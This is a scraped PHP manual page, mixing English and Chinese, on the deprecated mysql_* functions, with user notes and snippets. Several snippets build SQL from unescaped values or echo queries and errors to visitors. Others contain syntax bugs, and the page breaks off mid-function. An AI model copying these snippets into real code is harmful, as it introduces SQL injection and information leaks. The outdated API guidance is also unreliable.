According to the MySQL site (http://dev.mysql.com/doc/refman/5.0/en/old-client.html) the best fix for this is to use the OLD_PASSWORD() function for your mysql DB user. You can reset it by issuing to MySQL:

Set PASSWORD for 'user'@'host' = OLD_PASSWORD('password');

This saved my hide.
l dot poot at twing dot nl 12-Jul-2006 05:38
When creating large applications it's quite handy to create a custom function for handling queries. Just include this function in every script. And use db_query(in this example) instead of mysql_query.

This example prompts an error in debugmode (variable $b_debugmode ). An e-mail with the error will be sent to the site operator otherwise.

The script writes a log file in directory ( in this case /log ) as well.

The system is vulnerable when database/query information is prompted to visitors. So be sure to hide this information for visitors anytime.

Regars,

Lennart Poot
http://www.twing.nl

<?php
$b_debugmode = 1; // 0 || 1

$system_operator_mail = 'developer@company.com';
$system_from_mail = 'info@mywebsite.com';

function db_query( $query ){
  global $b_debugmode;

  // Perform Query
  $result = mysql_query($query);

  // Check result
  // This shows the actual query sent to MySQL, and the error. Useful for debugging.
  if (!$result) {
    if($b_debugmode){
      $message  = '<b>Invalid query:</b><br>' . mysql_error() . '<br><br>';
      $message .= '<b>Whole query:</b><br>' . $query . '<br><br>';
      die($message);
    }

    raise_error('db_query_error: ' . $message);
  }
  return $result;
}

  function raise_error( $message ){
    global $system_operator_mail, $system_from_mail;

    $serror=
    "Env:       " . $_SERVER['SERVER_NAME'] . "\r\n" .
    "timestamp: " . Date('m/d/Y H:i:s') . "\r\n" .
    "script:    " . $_SERVER['PHP_SELF'] . "\r\n" .
    "error:     " . $message ."\r\n\r\n";

    // open a log file and write error
    $fhandle = fopen( '/logs/errors'.date('Ymd').'.txt', 'a' );
    if($fhandle){
      fwrite( $fhandle, $serror );
      fclose(( $fhandle ));
     }

    // e-mail error to system operator
    if(!$b_debugmode)
      mail($system_operator_mail, 'error: '.$message, $serror, 'From: ' . $system_from_mail );
  }

?>
05-Jan-2005 12:53
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

A fatal MySQL error occured.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
aleczapka _at) gmx dot net 16-Jul-2004 10:05
If you want to display errors like "Access denied...", when mysql_error() returns "" and mysql_errno() returns 0, use  $php_errormsg. This Warning will be stored there.  You need to have track_errors set to true in your php.ini.

Note. There is a bug in either documentation about error_reporting() or in mysql_error() function cause manual for mysql_error(), says:  "Errors coming back from the MySQL database backend no longer issue warnings." Which is not true.
olaf at amen-online dot de 22-Jun-2004 11:08
When dealing with user input, make sure that you use
<?php
echo htmlspecialchars (mysql_error ());
?>
instead of
<?php
echo mysql_error ();
?>

Otherwise it might be possible to crack into your system by submitting data that causes the SQL query to fail and that also contains javascript commands.

Would it make sense to change the examples in the documentation for mysql_query () and for mysql_error () accordingly?
miko_il AT yahoo DOT com 11-Dec-2003 11:25
Following are error codes that may appear when you call MySQL from any host language:

http://www.mysql.com/doc/en/Error-returns.html
josh ><> 13-Oct-2003 04:26
Oops, the code in my previous post only works for queries that don't return data (INSERT, UPDATE, DELETE, etc.), this updated function should work for all types of queries (using $result = myquery($query);):

    function myquery ($query) {
        $result = mysql_query($query);
        if (mysql_errno())
            echo "MySQL error ".mysql_errno().": ".mysql_error()."\n<br>When executing:<br>\n$query\n<br>";
        return $result;
    }
scott at rocketpack dot net 25-Jul-2003 02:44
My suggested implementation of mysql_error():

$result = mysql_query($query) or die("<b>A fatal MySQL error occured</b>.\n<br />Query: " . $query . "<br />\nError: (" . mysql_errno() . ") " . mysql_error());

This will print out something like...

<b>A fatal MySQL error occured</b>.
Query: SELECT * FROM table
Error: (err_no) Bla bla bla, you did everything wrong

It's very useful to see your query in order to detect problems with syntax. Most often, the output message from MySQL doesn't let you see enough of the query in the error message to let you see where your query went bad- it a missing quote, comma, or ( or ) could have occured well before the error was detected. I do -not- recomend using this procedure, however, for queries which execute on your site that are not user-specific as it has the potential to leak sensative data. Recomended use is just for debugging/building a script, and for general user-specific queries which would at the worst, leak the users own information to themself.

Good luck,

-Scott
10-May-2001 07:03
some error can't handle. Example:

ERROR 1044: Access denied for user: 'ituser@mail.ramon.intranet' to database 'itcom'

This error ocurrs when a intent of a sql insert of no authorized user. The results: mysql_errno = 0 and the mysql_error = "" .


转义字符串用于 mysql_query

  • ? mysql_error
  • mysql_fetch_array ?
  • PHP Manual
  • MySQL 函数
  • 转义字符串用于 mysql_query

mysql_escape_string

(PHP 4 >= 4.0.3, PHP 5)

mysql_escape_string — 转义字符串用于 mysql_query

Warning

本函数自 PHP 4.3.0 起已废弃，并且它和整个 MySQL 扩展自 PHP 7.0.0 开始被移除。 可以选择出于活跃开发中的 MySQLi 或 PDO_MySQL 扩展来作为替代。 参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_escape_string()
  • PDO::quote()

说明

mysql_escape_string(string $unescaped_string): string

本函数将转义 unescaped_string，使之可以安全用于 mysql_query()。此函数已弃用。

本函数和 mysql_real_escape_string() 相同，除了 mysql_real_escape_string() 接受连接处理程序并根据当前字符集进行转义。mysql_escape_string() 不接受连接参数，也不遵循当前字符集设定。

参数

unescaped_string

要转义的字符串。

返回值

返回转义后的字符串。

示例

Example #1 mysql_escape_string() 示例

<?php
$item = "Zak's Laptop";
$escaped_item = mysql_escape_string($item);
printf("Escaped string: %s\n", $escaped_item);
?>

以上示例会输出：

Escaped string: Zak\'s Laptop

注释

Note:

mysql_escape_string() 不转义 % 和 _。

参见

  • mysql_real_escape_string() - 将字符串中的特殊字符进行转义，以在 SQL 语句中使用

User Contributed Notes

PHPguru 15-Mar-2015 02:54
You can use this function safely with your MySQL database queries if and only if you are sure that your database connection is using ASCII, UTF-8, or ISO-8859-* and that the backslash is your database's escape character. If you're not sure, then use mysqli_real_escape_string instead. This function is not safe to use on databases with multi-byte character sets.

The only benefit of this function is that it does not require a database connection.


从结果集中取得一行作为关联数组

  • ? mysql_escape_string
  • mysql_fetch_assoc ?
  • PHP Manual
  • MySQL 函数
  • 从结果集中取得一行作为关联数组

mysql_fetch_array

(PHP 4, PHP 5)

mysql_fetch_array — 从结果集中取得一行作为关联数组

说明

mysql_fetch_array(resource $result, int $result_type = ?): array

mysql_fetch_array() 是 mysql_fetch_row() 的扩展版本。除了将数据以数字索引方式储存在数组中之外，还可以将数据作为关联索引储存，用字段名作为键名。

有一点很重要必须指出，用 mysql_fetch_array() 并不明显 比用 mysql_fetch_row() 慢，而且还提供了明显更多的值。

参数

result

resource 型的结果集。此结果集来自对 msql_query() 的调用。

result_type

接受以下常量值： MSQL_ASSOC，MSQL_NUM 和 MSQL_BOTH，默认为 MSQL_BOTH。如果用了 MYSQL_BOTH，将得到一个同时包含关联和数字索引的数组。用 MYSQL_ASSOC 只得到关联索引（如同 mysql_fetch_assoc() 那样），用 MYSQL_NUM 只得到数字索引（如同 mysql_fetch_row() 那样）。

返回值

返回根据从结果集取得的行生成的数组，如果没有更多行则返回 false。

示例

Example #1 msql_fetch_array() 示例

<?php
$con = msql_connect();
if (!$con) {
die('Server connection problem: ' . msql_error());
}

if (!msql_select_db('test', $con)) {
die('Database connection problem: ' . msql_error());
}

$result = msql_query('SELECT id, name FROM people', $con);
if (!$result) {
die('Query execution problem: ' . msql_error());
}

while ($row = msql_fetch_array($result, MSQL_ASSOC)) {
echo $row['id'] . ': ' . $row['name'] . "\n";
}

msql_free_result($result);
?>

参见

  • msql_fetch_row()
  • msql_fetch_object()
  • msql_data_seek()
  • msql_result()

User Contributed Notes

scott_carney at hotmail dot com 23-May-2012 05:22
Just thought I'd share these helper functions that I use to simplify processing of query results a bit:
<?php
// For a simple query that should return a single value, this returns just that value (or FALSE) so you can process it immediately
function db_result_single($result) {
    return ($row = mysql_fetch_row($result)) && isset($row[0]) ? $row[0] : false;
}

// Returns the rows as an array of rows
// Providing a key_column gives you access to specific rows (e.g. if (isset($result_array[$user_id])) ...)
function db_result_array($result, $key_column = null) {
    for ($array = array(); $row = mysql_fetch_assoc($result); isset($row[$key_column]) ? $array[$row[$key_column]] = $row : $array[] = $row);
    return $array;
}

// Returns an array of a single column of data that can optionally be keyed from second column (e.g. an array of user names keyed by user id)
function db_result_array_values($result) {
    for ($array = array(); $row = mysql_fetch_row($result); isset($row[1]) ? $array[$row[1]] = $row[0] : $array[] = $row[0]);
    return $array;
}
?>

Naturally, comments [to my email, not here] are welcome.
puzbie at facebookanswers dot co dot uk 08-Nov-2011 01:28
<?php
 while($r[]=mysql_fetch_array($sql));
 ?>
Yes, that will generate a dummy array element containing the false of the final mysql_fetch_array. You should either truncate the array or (more sensibly in my mind) check that the result of mysql_fetch_array is not false before adding it to the array.
Anonymous 30-Aug-2011 01:56
If I use

<?php
while($r[]=mysql_fetch_array($sql));
?>

so in array $r is one more entry then rows returned from the database.
maileremi at gmail dot com 03-Aug-2011 09:49
Simple way to put table in an array...

<?php
//= Query ========================//
$sql=mysql_query("select * from table1");

//= Closed while ====================//
/*everytime it fetches the row, adds it to array...*/
while($r[]=mysql_fetch_array($sql));

echo "<pre>";
//= Prints $r as array =================//
print_r ($r);
//=============================//
echo "</pre>";
?>
final at skilled dot ch 26-Jul-2011 03:50
I ran into troubles with MySQL NULL values when I generated dynamic queries and then had to figure out whether my resultset contained a specific field.

First instict was to use isset() and is_null(), but these function will not behave as you probably expect.

I ended up using array_key_exists, as it was the only function that could tell me whether the key actually existed or not.

<?php
$row = mysql_fetch_assoc(mysql_query("SELECT null as a"));
var_dump($row); //array(1) {  ["a"]=>  NULL }
var_dump(isset($row['a'])); //false
var_dump(isset($row['b'])); //false
var_dump(is_null($row['a'])); //true
var_dump(is_null($row['b'])); //true + throws undefined index notice
var_dump(array_key_exists('a', $row)); // true
var_dump(array_key_exists('b', $row)); // false
?>
Amine O 21-Jan-2011 07:49
If you use implode() with the return value by mysql_fetch_array, if you use MYSQL_BOTH on parameter 2, the result is not really what you're expecting.
For example :
my sql database contains "Amine, Sarah, Mohamed";

$array = mysql_fetch_array($resource,MYSQL_BOTH);
or $array = mysql_fetch_array($resource);
echo implode(" - ", $array);

the result is : Amine-Amine-Sarah-Sarah-Mohamed-Mohamed
and we expect just : Amine-Sarah-Mohamed

You must use MYSQL_NUM or MYSQL_ASSOC on parameter 2 to resolve the problem.
buddy at databoysoftware dot com 03-Aug-2009 10:24
In the note entered by Typer85, concerning the use of mysql_data_seek(), it should be noted that there are two parameters, both of which are required.

If you have already iterated through a result array (for instance, using mysql_fetch_array()), and have a need to start from the top, the proper syntax is:

mysql_data_seek({result set},{record#})

EG:
mysql_data_seek($result,0)
("0" represents the first record in the array.)

This will reset your result to the top of the array so that you can then re-process with
while($row = mysql_fetch_array($result)) or other array processing.
Tristan 27-Jul-2009 05:42
Here's a quicker way to clone a record.  Only 3 lines of code instead of 4.  But the table must have an auto-incremented id.
I took the code from Tim and altered it. Props to Tim.

<?php
// copy content of the record you wish to clone
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table_name WHERE id='$id_to_be cloned'"), MYSQL_ASSOC) or die("Could not select original record");

// set the auto-incremented id's value to blank. If you forget this step, nothing will work because we can't have two records with the same id
$entity["id"] = "";

// insert cloned copy of the original  record
mysql_query("INSERT INTO table_name (".implode(", ",array_keys($entity)).") VALUES ('".implode("', '",array_values($entity))."')");

// if you want the auto-generated id of the new cloned record, do the following
$newid = mysql_insert_id();
?>

There you go.
mehdi dot haresi at gmail dot com 20-Jul-2009 12:44
For all of you having problems accessing duplicated field names in queries with their table alias i have implemented the following quick solution:

<?php
function mysql_fetch_alias_array($result)
{
    if (!($row = mysql_fetch_array($result)))
    {
        return null;
    }

    $assoc = Array();
    $rowCount = mysql_num_fields($result);

    for ($idx = 0; $idx < $rowCount; $idx++)
    {
        $table = mysql_field_table($result, $idx);
        $field = mysql_field_name($result, $idx);
        $assoc["$table.$field"] = $row[$idx];
    }

    return $assoc;
}
?>

Lets asume we have 2 tables student and contact each having fID as the index field and want to access both fID fields in php.

The usage of this function will be pretty similar to calling mysql_fetch_array:

<?php
$result = mysql_query("select * from student s inner join contact c on c.fID = s.frContactID");

while ($row = mysql_fetch_alias_array($result))
{
    echo "StudenID: {$row['s.fID']}, ContactID: {$row['c.fID']}";
}
?>

Voila, that's it :)

Please be aware that by using this function, you have to access all fields with their alias name (e.g. s.Name, s.Birhtday) even if they are not duplicated.

If you have questions, just send me a mail.

Best regards,
Mehdi Haresi
die-webdesigner.at
info at o08 dot com 06-Dec-2008 06:33
As opposite of mysql_fetch_array:

<?php
function mysql_insert_array ($my_table, $my_array) {
    $keys = array_keys($my_array);
    $values = array_values($my_array);
    $sql = 'INSERT INTO ' . $my_table . '(' . implode(',', $keys) . ') VALUES ("' . implode('","', $values) . '")';
    return(mysql_query($sql));
}
#http://www.weberdev.com/get_example-4493.html
?>
KingIsulgard 24-Nov-2008 05:49
I have found a way to put all results from the select query in an array in one line.

// Read records
$result = mysql_query("SELECT * FROM table;") or die(mysql_error());

// Put them in array
for($i = 0; $array[$i] = mysql_fetch_assoc($result); $i++) ;

// Delete last empty one
array_pop($array);

You need to delete the last one because this will always be empty.

By this you can easily read the entire table to an array and preserve the keys of the table columns. Very handy.
noagbodjivictor at gmail dot com 09-Nov-2007 08:53
Little improvement to the previous function.

function mysql_fetch_rowsarr($result, $numass=MYSQL_BOTH) {
  $got = array();

  if(mysql_num_rows($result) == 0)
    return $got;

  mysql_data_seek($result, 0);

  while ($row = mysql_fetch_array($result, $numass)) {
    array_push($got, $row);
  }

  return $got;
}
Typer85 at gmail dot com 30-Nov-2006 05:22
Please be advised that the resource result that you pass to this function can be thought of as being passed by reference because a resource is simply a pointer to a memory location.

Because of this, you can not loop through a resource result twice in the same script before resetting the pointer back to the start position.

For example:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// We looped through the resource result already so the
// the pointer is no longer pointing at any rows.

// If we decide to loop through the same resource result
// again, the function will always return false because it
// will assume there are no more rows.

// So the following code, if executed after the previous code
// segment will not work.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Because $queryContent is now equal to FALSE, the loop
// will not be entered.

?>
----------------

The only solution to this is to reset the pointer to make it point at the first row again before the second code segment, so now the complete code will look as follows:

----------------
<?php

// Assume We Already Queried Our Database.

// Loop Through Result Set.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

// Reset Our Pointer.

mysql_data_seek( $queryResult );

// Loop Again.

while( $queryContent = mysql_fetch_row( $queryResult ) {

    // Display.

    echo $queryContent[ 0 ];
}

?>
----------------

Of course you would have to do extra checks to make sure that the number of rows in the result is not 0 or else mysql_data_seek itself will return false and an error will be raised.

Also please note that this applies to all functions that fetch result sets, including mysql_fetch_row, mysql_fetch_assos, and mysql_fetch_array.
john at skem9 dot com 21-Jan-2006 04:13
my main purpose was to show the fetched array into a table, showing the results side by side instead of underneath each other, and heres what I've come up with.

just change the $display number to however many columns you would like to have, just dont change the $cols number or you might run into some problems.

<?php
$display = 4;
$cols = 0;
echo "<table>";
while($fetched = mysql_fetch_array($result)){
    if($cols == 0){
        echo "<tr>\n";
    }
    // put what you would like to display within each cell here
    echo "<td>".$fetched['id']."<br />".$fetched['name']."</td>\n";
    $cols++;
    if($cols == $display){
        echo "</tr>\n";
        $cols = 0;
    }
}
// added the following so it would display the correct html
if($cols != $display && $cols != 0){
    $neededtds = $display - $cols;
    for($i=0;$i<$neededtds;$i++){
        echo "<td></td>\n";
    }
     echo "</tr></table>";
    } else {
    echo "</table>";
}
?>

Hopefully this will save some of you a lot of searching.

any kind of improvements on this would be awesome!
tim at wiltshirewebs dot com 14-Nov-2005 05:49
Here's a quick way to duplicate or clone a record to the same table using only 4 lines of code:

// first, get the highest id number, so we can calc the new id number for the dupe
// second, get the original entity
// third, increment the dupe record id to 1 over the max
// finally insert the new record - voila - 4 lines!

$id_max = mysql_result(mysql_query("SELECT MAX(id) FROM table_name"),0,0) or die("Could not execute query");
$entity = mysql_fetch_array(mysql_query("SELECT * FROM table." WHERE id='$id_original'),MYSQL_ASSOC) or die("Could not select original record"); // MYSQL_ASSOC forces a purely associative array and blocks twin key dupes, vitally, it brings the keys out so they can be used in line 4
$entity["id"]=$id_max+1;
mysql_query("INSERT INTO it_pages (".implode(", ",array_keys($Entity)).") VALUES ('".implode("', '",array_values($Entity))."')");

Really struggled in cracking this nut - maybe there's an easier way out there?  Thanks to other posters for providing inspiration. Good luck - Tim
eddie at nailchipper dot com 03-Nov-2005 10:58
mob AT stag DOT ru has a nice function for getting simple arrays from MySQL but it has a serious bug. The MySQL link being set as an argument is NULL when no link is supplied meaning that you're passing NULL to the mysql funcctions as a link, which is wrong. I am not using multitple connections so I removed the link and using the global link. If you want to support multiple links check to see if its set first.

/*
* to support multiple links add the $link argument to function then
* test it before you use the link
*
* if(isset($link))
*   if($err=mysql_errno($link))return $err;
* else
*   if($err=mysql_errno())return $err;
*/

function mysql_fetch_all($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query){
 $r=@mysql_query($query);
 if($err=mysql_errno())return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}
kunky at mail dot berlios dot de 01-Oct-2005 03:41
This is very useful when the following query is used:

`SHOW TABLE STATUS`

Different versions of MySQL give different responses to this.

Therefore, it is better to use mysql_fetch_array() because the numeric references given my mysql_fetch_row() give very different results.
joelwan at gmail dot com 05-Sep-2005 03:14
Try Php Object Generator: http://www.phpobjectgenerator.com

It's kind of similar to Daogen, which was suggested in one of the comments above, but simpler and easier to use.

Php Object Generator generates the Php Classes for your Php Objects. It also provides the database class so you can focus on more important aspects of your project. Hope this helps.
romans at servidor dot unam dot mx 12-May-2005 10:31
Regarding duplicated field names in queries, I wanted some way to retrieve rows without having to use alias, so I wrote this class that returns rows as 2d-arrays

<?
  $field = $drow['table']['column'];
?>

Here is the code:

<?
  class mysql_resultset
  {
    var $results, $map;

    function mysql_resultset($results)
    {
      $this->results = $results;
      $this->map = array();

      $index = 0;
      while ($column = mysql_fetch_field($results))
      {
        $this->map[$index++] = array($column->table, $column->name);
      }
    }

    function fetch()
    {
      if ($row = mysql_fetch_row($this->results))
      {
        $drow = array();

        foreach ($row as $index => $field)
        {
          list($table, $column) = $this->map[$index];
          $drow[$table][$column] = $row[$index];
        }

        return $drow;
      }
      else
        return false;
    }
  }
?>

The class is initialized with a mysql_query result:

<?
  $resultset = new mysql_resultset(mysql_query($sql));
?>

The constructor builds an array that maps each field index to a ($table, $column) array so we can use mysql_fetch_row and access field values by index in the fetch() method. This method then uses the map to build up the 2d-array.

An example:

<?
  $sql =
    "select orders.*, clients.*, productos.* ".
    "from orders, clients, products ".
    "where join conditions";

  $resultset = new mysql_resultset(mysql_query($sql));

  while ($drow = $resultset->fetch())
  {
    echo 'No.: '.$drow['orders']['number'].'<br>';
    echo 'Client: '.$drow['clients']['name'].'<br>';
    echo 'Product: '.$drow['products']['name'].'<br>';
  }
?>

I hope others find this useful as it has been to me.
mob AT stag DOT ru 23-Jan-2005 11:16
I wrote some utility functions to improve usability and readability, and use them everywhere in my code. I suppose they can help.

function mysql_fetch_all($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
  while($row=mysql_fetch_array($r))$result[]=$row;
 return $result;
}
function mysql_fetch_one($query,$MySQL=NULL){
 $r=@mysql_query($query,$MySQL);
 if($err=mysql_errno($MySQL))return $err;
 if(@mysql_num_rows($r))
 return mysql_fetch_array($r);
}

Example use:
if(is_array($rows=mysql_fetch_all("select * from sometable",$MySQL))){
 //do something
}else{
 if(!is_null($rows)) die("Query failed!");
}
joey at clean dot q7 dot com 18-Apr-2004 07:47
The issue of NULL fields seems to not be an issue anymore (as of 4.2.2 at least).  mysql_fetch_* now seems to fully populate the array and put in entries with values of NULL when that is what the database returned.  This is certainly the behaviour I expected, so I was concerned when i saw the notes here, but testing shows it does work the way I expected.
Ben 06-Apr-2004 11:59
One of the most common mistakes that people make with this function, when using it multiple times in one script, is that they forget to use the mysql_data_seek() function to reset the internal data pointer.

When iterating through an array of MySQL results, e.g.

<?php
while ($line = mysql_fetch_array($result, MYSQL_ASSOC)) {
    foreach ($line as $col_value) {
        echo $col_value . '<br />';
    }
}
?>

the internal data pointer for the array is advanced, incrementally, until there are no more elements left in the array. So, basically, if you copy/pasted the above code into a script TWICE, the second copy would not create any output. The reason is because the data pointer has been advanced to the end of the $line array and returned FALSE upon doing so.

If, for some reason, you wanted to interate through the array a second time, perhaps grabbing a different piece of data from the same result set, you would have to make sure you call

<?php
mysql_data_seek($result, 0);
?>

This function resets the pointer and you can re-iterate through the $line array, again!
hanskrentel at yahoo dot de 08-Jan-2003 01:25
for the problem with fields containing null values in an associated array, feel free to use this function. i've got no more problems with it, just drop it in your script:

/*
*    mysql_fetch_array_nullsafe
*
*
*    get a result row as an enumerated and associated array
*    ! nullsafe !
*
*    parameter:    $result
*                    $result:    valid db result id
*
*    returns:    array | false (mysql:if there are any more rows)
*
*/
function mysql_fetch_array_nullsafe($result) {
    $ret=array();

    $num = mysql_num_fields($result);
    if ($num==0) return $ret;

    $fval = mysql_fetch_row ($result);
     if ($fval === false) return false;

    $i=0;
     while($i<$num)
        {
            $fname[$i] = mysql_field_name($result,$i);
            $ret[$i] = $fval[$i];            // enum
            $ret[''.$fname[$i].''] = $fval[$i];    // assoc
            $i++;
        }

    return $ret;
}
juancri at tagnet dot org 12-Nov-2002 01:41
An example with mysql_fetch_array():

    $result = mysql_query("SELECT name FROM table WHERE id=8");
    $array = mysql_fetch_array($result);

$array will be:

    array ([0] => "John", ['name'] => "John")

Then you can access to the results:

    echo "The name is " . $array[0];
    // or
    echo "The name is " . $array['name'];

But the array is not referential. $array[0] is not a reference to $array['name'] or $array['name'] to $array[0], they are not relationed between. Because of that, the system will use excesive memory. With large columns, try to use mysql_fetch_assoc() or mysql_fetch_row() only.
dkantha at yahoo dot com 10-Nov-2002 04:27
I did find 'jb at stormvision's' code useful above, but instead of the number of rows you need the number of fields; otherwise you get an error.

So, it should read like the following:

$result=mysql_query("select * from mydata order by 'id'")or die('died');
$num_fields = mysql_num_fields($result);
$j=0;
$x=1;
while($row=mysql_fetch_array($result)){
  for($j=0;$j<$num_fields;$j++){
   $name = mysql_field_name($result, $j);
   $object[$x][$name]=$row[$name];
  }$x++;
}

For Later in the script you may use the below array to gain access to your data

$i=1;
$ii=count($object);        //quick access function
for($i=1;$i<=$ii;$i++){
echo $object[$i]['your_field_name'];
}

I have tested this in my apps and it works great! :-)
glenn dot hoeppner at yakhair dot com 09-Oct-2002 02:04
Just another workaround for columns with duplicate names...

Modify your SQL to use the AS keyword.

Instead of:
$sql = "SELECT t1.cA, t2.cA FROM t1, t2 WHERE t1.cA = t2.cA";

Try:
$sql = "SELECT t1.cA AS foo1, t2.cA AS foo2 FROM t1, t2 WHERE t1.cA = t2.cA";

Then you can reference the results by name in the array:
  $row[foo1], $row[foo2]
tslukka at cc dot hut dot fi 25-Sep-2002 02:20
If you think MySQL (or other) database
handling is difficult and requires lot's of
code, I recommend that you try http://titaniclinux.net/daogen/

DaoGen is a program source code generator
that supports PHP and Java. It makes database
programming quick and easy. Generated sources
are released under GPL.
robjohnson at black-hole dot com 14-Jun-2002 03:22
Benchmark on a table with 38567 rows:

mysql_fetch_array
MYSQL_BOTH: 6.01940000057 secs
MYSQL_NUM: 3.22173595428 secs
MYSQL_ASSOC: 3.92950594425 secs

mysql_fetch_row: 2.35096800327 secs
mysql_fetch_assoc: 2.92349803448 secs

As you can see, it's twice as effecient to fetch either an array or a hash, rather than getting both.  it's even faster to use fetch_row rather than passing fetch_array MYSQL_NUM, or fetch_assoc rather than fetch_array MYSQL_ASSOC.  Don't fetch BOTH unless you really need them, and most of the time you don't.
barbieri at NOSPAMzero dot it 31-May-2002 06:21
Here is a suggestion to workaround the problem of NULL values:

// get associative array, with NULL values set
$record = mysql_fetch_array($queryID,MYSQL_ASSOC);

// set number indices
if(is_array($record))
{
    $i = 0;
    foreach($record as $element)
        $record[$i++] = $element;
}

This way you can access $result array as usual, having NULL fields set.
mjm at porter dot appstate dot edu 12-Mar-2002 07:48
If you perform a SELECT query which returns different columns with duplicate names, like this:

--------
$sql_statement = "SELECT tbl1.colA, tbl2.colA FROM tbl1 LEFT JOIN tbl2 ON tbl1.colC = tbl2.colC";

$result = mysql_query($sql_statement, $handle);

$row = mysql_fetch_array($result);
--------

Then

$row[0] is equivalent to $row["colA"]

but

$row[1] is not equivalent to $row["colA"].

Moral of the story: You must use the numerical index on the result row arrays if column names are not unique, even if they come from different tables within a JOIN. This would render mysql_fetch_assoc() useless.

[Ed. note - or you could do the usual 'select tbl1.colA as somename, tbl2.colA as someothername. . .' which would obviate the problem. -- Torben]
some at gamepoint dot net 10-Jan-2002 11:13
I never had so much trouble with null fields but it's to my understanding that extract only works as expected when using an associative array only, which is the case with mysql_fetch_assoc() as used in the previous note.

However a mysql_fetch_array will return field values with both the numerical and associative keys, the numerical ones being those extract() can't handle very well.
You can prevent that by calling mysql_fetch_array($result,MYSQL_ASSOC) which will return the same result as mysql_fetch_assoc and is extract() friendly.


从结果集中取得一行作为关联数组

  • ? mysql_fetch_array
  • mysql_fetch_field ?
  • PHP Manual
  • MySQL 函数
  • 从结果集中取得一行作为关联数组

mysql_fetch_assoc

(PHP 4 >= 4.0.3, PHP 5)

mysql_fetch_assoc — 从结果集中取得一行作为关联数组

Warning

本扩展自 PHP 5.5.0 起已废弃，并在自 PHP 7.0.0 开始被移除。应使用 MySQLi 或 PDO_MySQL 扩展来替换之。参见 MySQL：选择 API 指南来获取更多信息。用以替代本函数的有：

  • mysqli_fetch_assoc()
  • PDOStatement::fetch() with mode as PDO::FETCH_ASSOC

说明

mysql_fetch_assoc(resource $result): array

返回对应结果集的关联数组，并且继续移动内部数据指针。 mysql_fetch_assoc() 和用 mysql_fetch_array() 加上第二个可选参数 MYSQL_ASSOC 完全相同。它仅仅返回关联数组。

参数

result

resource 型的结果集。此结果集来自对 mysql_query() 的调用。

返回值

返回根据从结果集取得的行生成的关联数组；如果没有更多行则返回 false。

如果结果中的两个或以上的列具有相同字段名，最后一列将优先。要访问同名的其它列，要么用 mysql_fetch_row() 来取得数字索引或给该列起个别名。 参见 mysql_fetch_array() 例子中有关别名说明。

示例

Example #1 扩展的 mysql_fetch_assoc() 例子

<?php

$conn = mysql_connect("localhost", "mysql_user", "mysql_password");

if (!$conn) {
echo "Unable to connect to DB: " . mysql_error();
exit;
}

if (!mysql_select_db("mydbname")) {
echo "Unable to select mydbname: " . mysql_error();
exit;
}

$sql = "SELECT id as userid, fullname, userstatus
FROM sometable
WHERE userstatus = 1";

$result = mysql_query($sql);

if (!$result) {
echo "Could not successfully run query ($sql) from DB: " . mysql_error();
exit;
}

if (mysql_num_rows($result) == 0) {
echo "No rows found, nothing to print so am exiting";
exit;
}

// While a row of data exists, put that row in $row as an associative array
// Note: If you're expecting just one row, no need to use a loop
// Note: If you put extract($row); inside the following loop, you'll
// then create $userid, $fullname, and $userstatus
while ($row = mysql_fetch_assoc($result)) {
echo $row["userid"];
echo $row["fullname"];
echo $row["userstatus"];
}

mysql_free_result($result);

?>

注释

Note: 性能

必须指出一个要点： mysql_fetch_assoc() 比 mysql_fetch_row() 并不明显 慢，而且还提供了更多有用的值。

Note: 此函数返回的字段名大小写敏感。

Note: 此函数将 NULL 字段设置为 PHP null 值。

参见

  • mysql_fetch_row() - 从结果集中取得一行作为枚举数组
  • mysql_fetch_array() - 从结果集中取得一行作为关联数组
  • mysql_data_seek() - 移动内部结果的指针
  • mysql_query() - 发送一条 MySQL 查询
  • mysql_error() - 返回上一个 MySQL 操作中的错误信息的文本

User Contributed Notes

bkfake-php at yahoo dot com 24-Jan-2014 08:53
Although deprecated as of PHP 5.5, the mySQL function do NOT trigger an E_DEPRECATED error
george at georgefisher dot com 21-Apr-2009 07:51
Thanks to to R. Bradley for the implode idea. The following fixes a few bugs and includes quote_smart functionality (and has been tested)

<?php
   function mysql_insert_assoc ($my_table, $my_array) {

   //
   // Insert values into a MySQL database
   // Includes quote_smart code to foil SQL Injection
   //
   // A call to this function of:
   //
   //  $val1 = "foobar";
   //  $val2 = 495;
   //  mysql_insert_assoc("tablename", array(col1=>$val1, col2=>$val2, col3=>"val3", col4=>720, col5=>834.987));
   //
   // Sends the following query:
   //  INSERT INTO 'tablename' (col1, col2, col3, col4, col5) values ('foobar', 495, 'val3', 720, 834.987)
   //

       global $db_link;

       // Find all the keys (column names) from the array $my_array
       $columns = array_keys($my_array);

       // Find all the values from the array $my_array
       $values = array_values($my_array);

       // quote_smart the values
       $values_number = count($values);
       for ($i = 0; $i < $values_number; $i++)
         {
         $value = $values[$i];
         if (get_magic_quotes_gpc()) { $value = stripslashes($value); }
         if (!is_numeric($value))    { $value = "'" . mysql_real_escape_string($value, $db_link) . "'"; }
         $values[$i] = $value;
         }

       // Compose the query
       $sql = "INSERT INTO $my_table ";

       // create comma-separated string of column names, enclosed in parentheses
